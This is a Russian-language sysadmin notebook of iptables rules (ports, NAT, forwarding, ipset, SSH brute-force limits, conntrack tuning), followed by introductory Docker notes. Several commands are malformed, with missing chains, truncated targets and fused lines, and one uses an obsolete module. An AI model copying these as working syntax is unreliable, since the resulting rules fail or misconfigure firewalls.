iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 443 -j ACCEPT

Разрешаем udp/tcp 514 rsyslog:
iptables -A INPUT -i eth0 -p udp --dport 514 -j ACCEPT
iptables -A INPUT -i eth0 -p tcp --dport 514 -j ACCEPT

Разрешаем принт сервер cups / printing service udp/tcp port 631 for LAN users 
iptables -A INPUT -s 192.168.1.0/24 -p udp -m udp --dport 631 -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -p tcp -m tcp --dport 631 -j ACCEPT

Разрешаем соединение с PPTP-сервером для всех:
iptables -A INPUT -p tcp --dport 1723 -j ACCEP

Разрешаем прокси squid:
iptables -A INPUT -s 192.168.1.0/24 -m state --state NEW -p tcp --dport 3128 -j ACCEPT
 
Разрешаем mysql / mariadb:
iptables -I INPUT -p tcp --dport 3306 -j ACCEPT

Разрешаем tcp 9102 на клиенте Bareos (обычно на клиенте с которого делает backup сервер bareos):
iptables -A INPUT -p tcp --dport 9102 -j ACCEPT

Разрешаем доступ к zabbix-agent с хоста:
iptables -A INPUT -s 192.168.1.200/32 -p tcp -m tcp --dport 10050 -j ACCEPT


Разрешаем доступ к ipa портам (ldap,https,ntp,bind):
iptables -A -p tcp -m multiport --dports 53,80,88,389,443,464,663 -j ACCEPT
iptables -A -p udp -m multiport --dports 53,88,123,464 -j ACCEPT

Разрешаем доступ к ipa портам (ldap,https,ntp,bind) с определённой сети и определенного интерфейса:
iptables -A -s 192.168.1.0/24 -p tcp -m multiport --dports 53,80,88,389,443,464,636  -i eth0 -j ACCEPT
iptables -A -s 192.168.1.0/24 -p udp -m multiport --dports 53,88,123,464 -i eth0  -j ACCEPT

Разрешаем протокол GRE для всех:
iptables -A INPUT -p gre -j ACCEPT

Включаем логирование для пакетов INVALID:
iptables -A INPUT -m state --state INVALID -j LOG --log-prefix "Strange:"

Пример включения логирования на разрешающие правило:
iptables -A INPUT -p tcp -m multiport --dports 22,53,8080,139,445 -j LOG --log-level INFO --log-prefix "New connection from ours: "
iptables -A INPUT -p tcp -m multiport --dports 22,53,8080,139,445 -j ACCEPT

INPUT drop



Отбрасываем подключения IP-атакующего\порт-бедалага:
iptables -A INPUT -s IP-атакующего -p tcp --destination-port порт-бедалага -j DROP 

Ограничиваем максимальное число «полуоткрытых» соединений с одного IP к конкретному порту:
iptables -I INPUT -p tcp --syn --dport порт_бедалага -m iplimit --iplimit-above 10 -j DROP 

Отключаем ответы на запросы ICMP ECHO:
iptables -A INPUT -p icmp -j DROP --icmp-type 8

NAT

!!! В организация NAT не должно быть в принципе.
!!! Доступ к интернету должен осуществляется через proxy сервер

iptables -t nat -A POSTROUTING -o isp -j MASQUERADE

iptables -t nat -A POSTROUTING -o isp -j SNAT --to-source 10.0.0.23
iptables -t nat -A PREROUTING -i eth1 -j DNAT --to-destination 192.168.1.25

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to 10.10.15.50:3128 
iptables -t nat -A PREROUTING -p tcp -d 192.168.3.124 --dport 3389 -j DNAT --to 10.70.70.105:3389
iptables -t nat -A PREROUTING -p tcp -d 192.168.3.124 --dport 5090 -j DNAT --to 10.70.70.101:5090

IP FORWARD / MASQUERADE / Включение IP Forward

FORWARD:
!!! По умолчанию ip forward выключен
!!! Если forward выключен то не будет работать маршрутизация между интерфейсами

Проверяем текущие состояние:
cat /proc/sys/net/ipv4/ip_forward - проверяем текущие состояние ip_forward

Включение forward:
!!! это будет работать до перезагрузки
echo 1 > /proc/sys/net/ipv4/ip_forward

!!! Для постоянного включения необходимо отредактировать файл  /etc/sysctl.conf, найти строку net.ipv4.ip_forward=1 и убрать комментарий с неё
nano /etc/sysctl.conf
---------------------
# Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1
---------------------
sysctl -p  - выполняем для применения изменений без перезагрузки 

NAT:
Примеры настройки MASQUERADE:
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

iptables -t nat -A POSTROUTING -o isp -j MASQUERADE

iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE

Пример работы своей цепочки(из wiki):

!!!Например, предположим, что нам нужно обеспечить доступ к определенным портам нашего сервера для всех хостов из подсети 10.134.0.64/26, кроме 10.134.0.67 и 10.134.0.100.
iptables -F # Очищаем все цепочки таблицы filter
iptables -N our_subnet # Создаем специальную цепочку для проверки пакетов из нашей подсети
iptables -A our_subnet -s 10.134.0.67 -j RETURN # Запрещенный хост — выходим
iptables -A our_subnet -s 10.134.0.100 -j RETURN # Запрещенный хост — выходим

# Всем остальным разрешаем доступ к нужным портам
iptables -A our_subnet -p tcp -m multiport --dports 22,53,8080,139,445 -j ACCEPT
iptables -A our_subnet -p udp -m multiport --dports 53,123,137,138 -j ACCEPT
iptables -A our_subnet -p icmp --icmp-type 8 -j ACCEPT

# Разрешаем пакеты по уже установленным соединениям
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Все пакеты из нашей подсети отправляем на проверку
iptables -A INPUT -s 10.134.0.64/26 -j our_subnet
iptables -P INPUT DROP # Что не разрешено — то запрещено
iptables -P OUTPUT ACCEPT # На выход — можно все

iptables ipset (списки)

Пример правил:
iptables -A INPUT -p tcp -m set --match-set whitelist src -m comment --comment WHITELIST -j ACCEPT
iptables -A INPUT -p tcp -m set --match-set blacklist src -m comment --comment BLACKLIST -j DROP
iptables -A INPUT -p udp -m set --match-set asterisk-blacklist src -m multiport --dports 5060,5038,2000,4569,2727,4520,5000,8088,10000:20000 -m comment --comment "::01-asterisk-blacklist:: Blacklist" -j DROP
iptables -A INPUT -p tcp -m set --match-set asterisk-blacklist src -m multiport --dports 5060,5038,2000,4569,2727,4520,5000,8088,10000:20000 -m comment --comment "::01-asterisk-blacklist:: Blacklist" -j DROP
iptables -A INPUT -p udp -m set --match-set sip src -m multiport --dports 10000:20000 -m comment --comment "::08-sip:: RTP" -j ACCEPT
iptables -A INPUT -p udp -m set --match-set sip src -m multiport --dports 4000:4999 -m comment --comment "::08-sip:: T.38" -j ACCEPT
iptables -A INPUT -p udp -m set --match-set sip src -m udp --dport 5060 -m comment --comment "::08-sip:: SIP" -j ACCEPT
iptables -A INPUT -p tcp -m set --match-set asterisk-mgmt src -m tcp --dport 5038 -m comment --comment "::08-sip:: AMI" -j ACCEPT
iptables -A INPUT -p tcp -m set --match-set ssh src -m tcp --dport 22 -m comment --comment "::99-system:: SSH" -j ACCEPT
iptables -A INPUT -p tcp -m set --match-set sshttl src -m tcp --dport 22 -m comment --comment "::99-system:: SSH" -j ACCEPT
iptables -A INPUT -p tcp -m set --match-set zabbix src -m tcp --dport 10050 -m comment --comment "::99-system:: Zabbix" -j ACCEPT
iptables -A INPUT -p tcp -m set --match-set bareos src -m tcp --dport 9102 -m comment --comment "::99-system:: Bareos" -j ACCEPT
iptables -A INPUT -p udp -m set --match-set tftp src -m udp --dport 69 -m comment --comment "::89-tftp:: TFTP" -j ACCEPT
iptables -A INPUT -p tcp -m set --match-set web src -m tcp --dport 80 -m conntrack --ctstate NEW -j ACCEPT
iptables -A INPUT -p tcp -m set --match-set web src -m tcp --dport 443 -m conntrack --ctstate NEW -j ACCEPT

Пример списка:
/etc/iptables/blacklist.ipset 
-! create blacklist hash:net family inet hashsize 131072 maxelem 262144 counters timeout 7200
-! add blacklist 10.100.2.50/32
-! add blacklist 192.168.100.0/24

Сохранение правил брандмауэра

Чтобы сохранить правила брандмауэра в CentOS / RHEL / Fedora Linux, введите:
# service iptables save

В других дистрибутивах
iptables-save > /root/my.active.firewall.rules
или
iptables-save

Восстановление правил брандмауэра

Для восстановление правил брандмауэра из файла /root/my.active.firewall.rules, введите:
# iptables-restore  < /root/my.active.firewall.rules
# iptables-restore  /root/my.active.firewall.rules
Для восстановление правил брандмауэра в CentOS / RHEL / Fedora Linux, введите:
# service iptables restart

Остановка, перезапуск, запуск брандмауэра Если у Вас CentOS / RHEL / Fedora Linux, вводите:

# service iptables stop
# service iptables start
# service iptables restart

Чтобы отчистить правила iptables его собственными средствами введите:

!!! F: Удаление всех правил (flushing)
!!! X: Удаление цепочки
!!! t <таблица>: Выбрать таблицу и удалить правила
!!! P: Установить политику по умолчанию (например DROP, REJECT или ACCEPT)

# iptables -F
# iptables -X
# iptables -t nat -F
# iptables -t nat -X
# iptables -t mangle -F
# iptables -t mangle -X
# iptables -P INPUT ACCEPT
# iptables -P OUTPUT ACCEPT
# iptables -P FORWARD ACCEPT

Очистка таблицы filter:

iptables -F INPUT
iptables -F OUTPUT
iptables -F FORWARD

Очистка таблицы nat:

iptables -t nat -F PREROUTING
iptables -t nat -F POSTROUTING

Очистка таблицы mangle:

iptables -t mangle -F PREROUTING

Чистим ветки логов:

iptables -F undef_in
iptables -F undef_out
iptables -F undef_fw
iptables -X undef_in
iptables -X undef_out
iptables -X undef_fw

Разрешаем принимать трафик на loopback-интерфейсе:

iptables -A INPUT eth2 -j ACCEPT
iptables -A INPUT -i eth1 -j ACCEPT
iptables -A FORWARD -i lo -o eth1 -j ACCEPT$IPT -A FORWARD -i eth2 -o lo -j ACCEPT
iptables -A FORWARD -i lo -o eth2 -j ACCEPT$IPT -A FORWARD -i eth1 -o lo -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

Разрешение исходящего трафика:

iptables -A OUTPUT -o eth0 -j ACCEPT
iptables -A OUTPUT -o eth1 -j ACCEPT
iptables -A OUTPUT -o eth2 -j ACCEPT

Разрешить соединения, которые инициированы изнутри

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT

Следующими правилами разрешаем коннекты на наш сервер из вне:

iptables -A INPUT -p udp --dport 33434:33523 -j ACCEPT - Разрешить traceroute
iptables -A INPUT -p tcp --dport 22 -j ACCEPT - Разрешаем SSH
iptables -A INPUT -p tcp --dport 10000 -j ACCEPT - Разрешаем webmin
iptables -A INPUT -i eth0 -p tcp --dport 80 -j ACCEPT - Доступ на http

Проброс RDP на сервер терминалов:

iptables -t nat -A PREROUTING -p tcp --dport 3389 -i eth0 -j DNAT --to 192.168.0.100
iptables -A FORWARD -i eth0 -d 192.168.0.100 -p tcp --dport 3389 -j ACCEPT

Выход из локалки на почтовые сервера

iptables -A FORWARD -d smtp.mail.ru -o eth0 -p tcp -m tcp --dport 25 -j ACCEPT
iptables -A FORWARD -d smtp.masterhost.ru -o eth0 -p tcp -m tcp --dport 25 -j ACCEPT

Входящий трафик  на почтовые сервера
iptables -A INPUT -m state --state NEW -p tcp --dport 25 -j ACCEPT

Заворачиваем трафик на порт сквида:

iptables -t nat -A PREROUTING -p tcp -m multiport --dport 80,81,82,83,88,8000,8001,8002,8080,8081,3128,9090 -s 0/0 -d 0/0 -j REDIRECT --to-port 3128
iptables -t nat -A PREROUTING -p udp -m multiport --dport 80,81,82,83,88,8000,8001,8002,8080,8081,3128,9090 -s 0/0 -d 0/0 -j REDIRECT --to-port 3128

Если прокси не установлена,либо нет нужды в использовании SQUID, то просто форвардим нужные порты:

iptables -A FORWARD -o eth0 -p tcp -m multiport --dport 80,81,82,83,88,8000,8001,8002,8080,8081,3128,9090 -j ACCEPT 

Прячем NAT:

iptables -t mangle -A PREROUTING -j TTL --ttl-set 64
iptables -t mangle -A PREROUTING -j RETURN

Все что не разрешено, но ломится отправим в цепочку undef:

iptables -N undef_in
iptables -N undef_out
iptables -N undef_fw
iptables -A INPUT -i vlan2 -j undef_in
iptables -A OUTPUT -j undef_out
iptables -A FORWARD -j undef_fw

Антибрут ssh:

iptables -A INPUT -m state  --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp -m tcp  --dport 22 -m state --state NEW  -m recent --set --name SSH
iptables -A INPUT -p tcp -m tcp  --dport 22 -m state --state NEW  -m recent --update --seconds 60  --hitcount 4 --rttl --name SSH -j DROP
iptables -A INPUT -p tcp -m tcp  --dport 22 -m state --state NEW -j ACCEPT
После этого хосты, пытающиеся перебирать пароль, будут блокироваться: 
все IP из черного списка будут фиксироваться в файле /proc/net/ipt_recent/SSH

Разрешаем некоторые ICMP-сообщения

https://ru.wikipedia.org/wiki/ICMP  - icmp-type
iptables -A INPUT -i eth0 -p icmp -m icmp  --icmp-type 3 -j ACCEPT
iptables -A INPUT -i eth0 -p icmp -m icmp  --icmp-type 11 -j ACCEPT
iptables -A INPUT -i eth0 -p icmp -m icmp  --icmp-type 12 -j ACCEPT

open firewall:

iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p tcp -m tcp --tcp-flags  SYN,ACK,FIN,RST RST -m limit --limit 1/s -j ACCEPT # Небольшая защита от DoS
iptables -A INPUT -p all -m state --state  RELATED,ESTABLISHED -j ACCEPT # Разрешаем уже установленные соединения
iptables -A INPUT -i eth0 -p tcp --dport 22 -j ACCEPT # Разрешаем 22 порт
iptables -A INPUT -i eth0 -p tcp --dport 80 -j ACCEPT # Разрешаем 80 порт
iptables -A INPUT -i eth0 -p icmp -m icmp  --icmp-type 3 -j ACCEPT # Разрешаем некоторые ICMP-сообщения
iptables -A INPUT -i eth0 -p icmp -m icmp  --icmp-type 11 -j ACCEPT # Разрешаем некоторые ICMP-сообщения
iptables -A INPUT -i eth0 -p icmp -m icmp  --icmp-type 12 -j ACCEPT # Разрешаем некоторые ICMP-сообщения
iptables -A INPUT DROP

sysctl \ conntrack

Итак, есть /proc/net/nf_conntrack, в нём можно найти наши проблемные записи, 
но напрямую их поправить не удастся (или можно, тогда как?). 
Timeout NAT. Информация о сессиях также может быть удалена по timeout. 
Т.е. если в течение долгого времени в рамках соединения обмена трафика нет - сессия закрывается и информация о ней так же удаляется из таблицы NAT. 
По умолчанию значения тайм-аутов стоят достаточно большие.
Поэтому, при больших потоках трафика, даже если nf_conntrack_max установлен в максимальное значение, 
существует риск столкнуться с переполнением таблицы и разрывами соединений. 

apt install conntrack-tools - установка пакета
conntrack -L conntrack
conntrack -L conntrack -s 192.168.0.100 - список для нужного внутреннего IP
conntrack -L conntrack -d 8.8.8.8 - на какой-то адрес
conntrack -L conntrack -q 192.168.0.1 - коннекты, проходящие через старый gate
conntrack -D conntrack -s 192.168.0.100 -q 192.168.0.1 - удалить проблемную запись
conntrack -F conntrack - есть и "оружие последнего дня", полная очистка таблицы
conntrack -h - помощь

# sysctl net.netfilter.nf_conntrack_max - посмотреть текущий размер таблицы NAT
net.netfilter.nf_conntrack_max = 65536

# sysctl -a | grep conntrack_max - посмотреть текущий размер таблицы NAT
net.netfilter.nf_conntrack_max = 65536
net.ipv4.netfilter.ip_conntrack_max = 65536
net.nf_conntrack_max = 65536

# sysctl net.netfilter.nf_conntrack_count - посмотреть заполненность таблицы
net.netfilter.nf_conntrack_count = 654

NAT tweak

# sysctl net.netfilter.nf_conntrack_max - посмотреть текущий размер таблицы NAT
net.netfilter.nf_conntrack_max = 65536

# sysctl -a | grep conntrack_max - посмотреть текущий размер таблицы NAT
net.netfilter.nf_conntrack_max = 65536
net.ipv4.netfilter.ip_conntrack_max = 65536
net.nf_conntrack_max = 65536

# sysctl net.netfilter.nf_conntrack_count - посмотреть заполненность таблицы
net.netfilter.nf_conntrack_count = 654


Посмотреть установленные значения задержек (в секундах):
# sysctl -a | grep conntrack | grep timeout
net.netfilter.nf_conntrack_generic_timeout = 600 - NAT- сервер будет хранить информацию о сессии даже в том случае, если будет проходит 1 пакет в 10 минут.
net.netfilter.nf_conntrack_tcp_timeout_syn_sent = 120
net.netfilter.nf_conntrack_tcp_timeout_syn_recv = 60
net.netfilter.nf_conntrack_tcp_timeout_established = 432000 - TCP- сессию NAT- сервер будет отслеживать 5 дней(!), если даже за это период пройдет только 1 пакет, это может привести к быстрому заполнению nf_conntrack_max
net.netfilter.nf_conntrack_tcp_timeout_fin_wait = 120
net.netfilter.nf_conntrack_tcp_timeout_close_wait = 60
net.netfilter.nf_conntrack_tcp_timeout_last_ack = 30
net.netfilter.nf_conntrack_tcp_timeout_time_wait = 120
net.netfilter.nf_conntrack_tcp_timeout_close = 10
net.netfilter.nf_conntrack_tcp_timeout_max_retrans = 300
net.netfilter.nf_conntrack_tcp_timeout_unacknowledged = 300
net.netfilter.nf_conntrack_udp_timeout = 30
net.netfilter.nf_conntrack_udp_timeout_stream = 180
net.netfilter.nf_conntrack_icmp_timeout = 30
net.netfilter.nf_conntrack_events_retry_timeout = 15
net.ipv4.netfilter.ip_conntrack_generic_timeout = 600
net.ipv4.netfilter.ip_conntrack_tcp_timeout_syn_sent = 120
net.ipv4.netfilter.ip_conntrack_tcp_timeout_syn_sent2 = 120
net.ipv4.netfilter.ip_conntrack_tcp_timeout_syn_recv = 60
net.ipv4.netfilter.ip_conntrack_tcp_timeout_established = 432000
net.ipv4.netfilter.ip_conntrack_tcp_timeout_fin_wait = 120
net.ipv4.netfilter.ip_conntrack_tcp_timeout_close_wait = 60
net.ipv4.netfilter.ip_conntrack_tcp_timeout_last_ack = 30
net.ipv4.netfilter.ip_conntrack_tcp_timeout_time_wait = 120
net.ipv4.netfilter.ip_conntrack_tcp_timeout_close = 10
net.ipv4.netfilter.ip_conntrack_tcp_timeout_max_retrans = 300
net.ipv4.netfilter.ip_conntrack_udp_timeout = 30
net.ipv4.netfilter.ip_conntrack_udp_timeout_stream = 180
net.ipv4.netfilter.ip_conntrack_icmp_timeout = 30

ipteplse-sex

vim  /etc/systemd/system/sex-sec.service
----------------------------------------
[Unit]
Description= add iptables and route
After=syslog.target

[Service]
Type=simple
TimeoutStartSec=10
ExecStart=/etc/iptables/sex_sec.sh

[Install]
WantedBy=multi-user.target
----------------------------------------

mkdir /etc/iptables

vim /etc/iptables/sex_sec.sh
----------------------------
#!/bin/bash
iptables-restore /etc/iptables/iptable.4
ip6tables-restore /etc/iptables/iptable.6 
sleep 30
#!/bin/bash

list_net_ip="192.168.55 192.168.80 192.168.88 10.12.88"
ip_router="192.168.16.55"
i=99

for x in ${list_net_ip} ; do
      i=$(ip route | grep "${x}" 1>/dev/null ; echo $?)
      if ((i > 0)) ; then
       #echo -e "ip route add ${x} via ${ip_router}"
       ip route add ${x}.0/24 via ${ip_router}
      fi
done

-----------------------------
chmod +x /etc/iptables/sex_sec.sh

vim  /etc/iptables/iptable.4
----------------------------
*nat
:PREROUTING ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
:DOCKER - [0:0]
-A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER
-A OUTPUT ! -d 127.0.0.0/8 -m addrtype --dst-type LOCAL -j DOCKER
-A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE
-A POSTROUTING -s 172.18.0.0/16 ! -o br-6e31867864c0 -j MASQUERADE
-A POSTROUTING -o ovsbr0 -j MASQUERADE
-A POSTROUTING -s 172.18.0.2/32 -d 172.18.0.2/32 -p tcp -m tcp --dport 443 -j MASQUERADE
-A POSTROUTING -s 172.18.0.5/32 -d 172.18.0.5/32 -p tcp -m tcp --dport 8080 -j MASQUERADE
-A DOCKER -i docker0 -j RETURN
-A DOCKER -i br-6e31867864c0 -j RETURN
-A DOCKER ! -i br-6e31867864c0 -p tcp -m tcp --dport 8443 -j DNAT --to-destination 172.18.0.2:443
-A DOCKER ! -i br-6e31867864c0 -p tcp -m tcp --dport 32768 -j DNAT --to-destination 172.18.0.5:8080
COMMIT

*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -i enp0s20f0u2 -j ACCEPT
-A INPUT -i enp0s20f0u1u2 -j ACCEPT
-A INPUT -i enp0s20f0u1u1 -j ACCEPT
-A INPUT -i zthnhjuefn -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p udp -m udp --dport 5678 -j ACCEPT
-A INPUT -s 192.168.16.0/24 -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -s 192.168.15.0/24 -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 8 -m limit --limit 100/sec -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 3 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 4 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 11 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 12 -j ACCEPT
-A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -i zthnhjuefn -j ACCEPT
-A FORWARD -i enp0s20f0u1u1 -j ACCEPT
COMMIT

----------------------------

vim /etc/iptables/iptable.6
------------------------
*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p ipv6-icmp -j ACCEPT
COMMIT
------------------------
Рубрики
docker Конспект

Конспект: Docker, Вася все фигня давай по новой

Ссылки:

https://selectel.ru/blog/what-is-docker/
https://habr.com/ru/company/timeweb/blog/594533/

https://github.com/amatiashov/YT-Docker-lesson

Вводное:

Контейнеры — это способ упаковать приложение и все его зависимости в единый образ. 
Этот образ запускается в изолированной среде, не влияющей на основную операционную систему. 
Контейнеры позволяют отделить приложение от инфраструктуры: разработчикам не нужно задумываться, 
в каком окружении будет работать их приложение, будут ли там нужные настройки и зависимости. 
Они просто создают приложение, упаковывают все зависимости и настройки в единый образ. 
Затем этот образ можно запускать на других системах, не беспокоясь, что приложение не запустится.

Docker — это платформа для разработки, доставки и запуска контейнерных приложений. 
Docker позволяет создавать контейнеры, автоматизировать их запуск и развертывание, управляет жизненным циклом. 
Он позволяет запускать множество контейнеров на одной хост-машине.

Контейнеризация похоже на виртуализацию, но это не одно и то же. 
Виртуализация работает как отдельный компьютер, со своим виртуальным оборудованием и операционной системой. 
При этом внутри одной ОС можно запустить другую ОС. 
В случае контейнеризации виртуальная среда запускается прямо из ядра основной операционной системы и не виртуализирует оборудование. 
Это означает, что контейнер может работать только в той же ОС, что и основная. 
АПри этом так как контейнеры не виртуализируют оборудование, они потребляют намного меньше ресурсов.


Docker:
Решает проблемы зависимостей и рабочего окружения.
Изоляция и безопасность.
Ускорение и автоматизация развертывания приложений и масштабируемость.
Контейнеры приближают к микросервисной архитектуре(приложение не монолитно).
Docker compose — одновременно развернуть несколько контейнеров.
Хранение данных в Docker.

Хранение данных в Docker.

Эфемерность. Это означает, что контейнеры могут быть в любой момент остановлены, перезапущены или уничтожены. 
При этом все накопленные данные в контейнере будут потеряны. 
Поэтому приложения нужно разрабатывать так, чтобы они не полагались на хранилище данных в контейнере, это называется принципом Stateless.
Это хорошо подходит для приложений или сервисов, которые не сохраняют результаты своей работы. 
Например, функции расчета или преобразования данных: им на вход поступил один набор данных, они его преобразовали или рассчитали и вернули результат. 
Все, ничего никуда сохранять не нужно.
Но далеко не все приложения такие, и есть много данных, которые нужно сохранить. 
В контейнерах для этого предусмотрены несколько способов.

Тома (Docker volumes)
Это способ, при котором докер сам создает директории для хранения данных. 
Их можно сделать доступными для разных контейнеров, чтобы они могли обмениваться данными. 
По умолчанию эти директории создаются на хост-машине, но можно использовать и удаленные хранилища: 
файловый сервер или объектное хранилище.

Монтирование каталога (bind mount)
В этом случае директория сначала создается в хост-системе, а уже потом монтируется в докер контейнеры.
Но этот способ не рекомендуется, потому что он усложняет резервное копирование, 
миграцию и совместное использование данных несколькими контейнерами.

Docker daemon

Это сервис, через который осуществляется все взаимодействие с контейнерами: 
создание и удаление, запуск и остановка. 
Этот сервис работает в фоновом режиме и получает команды от интерфейса командной строки или API.

Docker client (клиент)

Это интерфейс командной строки для управления docker daemon.
Мы пользуемся этим клиентом, когда создаем и разворачиваем контейнеры, а клиент отправляет эти запросы в docker daemon.

Docker image (образ)

Это неизменяемый файл (образ), из которого разворачиваются контейнеры. 
Приложения упаковываются именно в образы, из которых потом уже создаются контейнеры.
Приведем аналогию на примере установки операционной системы. 
В дистрибутиве (образе) ОС есть все, что необходимо для ее установки. 
Но этот образ нельзя запустить, для начала его нужно «развернуть» в готовую ОС. 
Так вот, дистрибутив для установки ОС — это Docker image, а установленная и работающая ОС — это Docker container.
Но контейнеры обычно разворачиваются одной командой — это намного проще и быстрее, чем установка ОС.

Docker container (контейнер)

Это уже развернутое из образа и работающее приложение.

Docker Registry

Это репозиторий с докер-образами. 
Разработчики создают образы своих программ и выкладывают их в репозиторий, чтобы их можно было скачать и воспользоваться ими. 
Распространенный публичный репозиторий — Docker Hub. В нем собраны образы множества популярных программ или платформ: 
базы данных, веб-серверы, компиляторы, операционные системы и так далее. 
Также можно создать свой приватный репозиторий, например внутри компании. 
Разработчики будут размещать там образы, которые будут использоваться всей компанией.

Dockerfile

Dockerfile — это инструкция для сборки образа. 
Это простой текстовый файл, содержащий по одной команде в каждой строке. 
В нем указываются все программы, зависимости и образы, которые нужны для разворачивания образа.

Пример Dockerfile

FROM python:3 
COPY main.py /
CMD [ "python", "./main.py" ]

Первая строчка означает, что за основу мы берем образ с названием python версии 3 это называется базовый образ. 
Docker найдет его в docker registry, скачает и будет использовать за основу. 
Вторая строчка означает, что нужно скопировать файл main.py в корень файловой системы контейнера. 
Третья строчка означает, что нужно запустить python и передать ему в качестве параметра название файла main.py

Все эти команды выполняются в Docker client, который отправляет их в docker daemon:

Команда docker build (зеленая) читает dockerfile и собирает образ.

Команда docker pull (красная) скачивает образ из docker registry. 
                    По умолчанию docker скачивает образы из публичного репозитория Docker Hub. 
                    Но можно создать свой репозиторий и настроить докер, чтобы он работал с ним.

Команда docker run (черная) берет образ и разворачивает его в контейнер.

Установка Docker на debian\ubuntu:

Cинхронизируем пакетную базу apt и установим нужные зависимости:
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl gnupg lsb-release

Импортируем GPG-ключ для репозитория docker:
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

Добавим новый репозиторий в список apt:
echo \
  "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null


Установим докер:
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io

По умолчанию, доступ к docker daemon есть только у пользователя root. 
Чтобы с докером могли работать и другие пользователи, их нужно добавить в специальную группу — docker. 
Выполните эту команду из под обычного пользователя:
sudo usermod -aG docker $USER
После этого необходимо перелогиниться, чтобы изменение вступило в силу.

Запуск контейнера

Попробуем запустить какое-нибудь готовое приложение. 
Выполните команду:
docker run ubuntu echo 'hello from ubuntu'

Команда docker run создает и запускает контейнер из образа. 
В этом примере мы создаем контейнер из образа ubuntu, затем выполняем в нем команду echo ‘hello from ubuntu’. 
Но так как у нас чистая установка докера и мы не скачали ни одного образа, докер сначала найдет этот образ в публичном репозитории Docker Hub, скачает, а потом создаст из него контейнер. 
В следующий раз, когда нам понадобится образ ubuntu, докер уже не будет его скачивать.
После выполнения команды в терминале появится строка hello from ubuntu, и контейнер сразу остановится. 

Теперь выполним другую команду:
docker run -it ubuntu
Эта команда запустит контейнер в интерактивном режиме, то есть контейнер запустится и будет ждать дальнейших команд. 
При этом мы окажемся внутри операционной системы контейнера: 
запустится оболочка (bash), и мы сможем выполнять какие-то команды внутри контейнера. 
Чтобы выйти из контейнера, введите команду exit.

Создание собственного образа и запуск контейнера

Теперь создадим HelloWorld-приложение на Python, обернем его в образ и запустим.
Cоздадим директорию, в которой мы будем работать и перейдем в нее:
mkdir first-docker-app
cd first-docker-app

Создадим файл main.py и запишем в него одну строчку кода:
echo 'print("Hello from python");' >> main.py

Проверим, что наша программа работает(В консоли должно выйти сообщение "Hello from python"):
python main.py

Теперь нужно обернуть его в докер-образ. 
Для этого создадим файл Dockerfile и напишем в нем три строчки:
vim Dockerfile
--------------
FROM python:3
COPY main.py /
CMD [ "python", "./main.py" ]
--------------

В первой строке мы указываем образ, который берем за основу. 
Так как мы пишем приложение на Python, нужно чтобы в нашем образе он уже был установлен. 
Самый простой способ это сделать — использовать готовый официальный образ с Docker Hub. 
Цифра 3 — это тег. Он означает, что нужно использовать третью версию Python. 
Вместо этого можно было бы использовать тег latest, который означает самую последнюю версию, 
или можно было указать номер конкретной версии, например 3.8.8.
Во второй строчке мы копируем наш файл main.py в корневую директорию образа.
Третья строчка — запускаем python и передаем ему в качестве параметра имя нашего файла

Теперь из этого докер-файла можно собирать образ:
!!! Параметр -t обозначает имя нашего образа, мы назвали его first-docker-app.
docker build -t first-docker-app .

Проверим список установленных у нас образов:
docker images

Теперь создадим контейнер из нашего образа и запустим его:
docker run first-docker-app


Список полезных команд docker:

Посмотреть список всех контейнеров:
docker ps -a

Остановить  все докер контейнеры:
docker stop $(docker ps -a -q)

Удалить все докер контейнеры:
docker rm $(docker ps -a -q)

Запустить контейнер с последующим удалением:
docker run --rm ubuntu echo 'hello from ubuntu'

Посмотреть список всех скачанных образов:
docker images

Удалить докер образ(перед удаление требуется остановить):
docker rmi name_image

Чтобы принудительно удалить образ, добавьте флаг -f:
docker rmi -f name_image

Что бы удалить все образы
docker rmi $(docker images -q)

Получить список всех контейнеров, созданных из определенного образа:
docker ps -a --filter ancestor=name_image

Еще раз для тех кто в танке, напримере python образа и нашего приложения:

!!! apt install docker docker.io
!!! Запоминаем что задача докер это выполнить приложение (ну тоесть поработали и если работы нет, закончили)
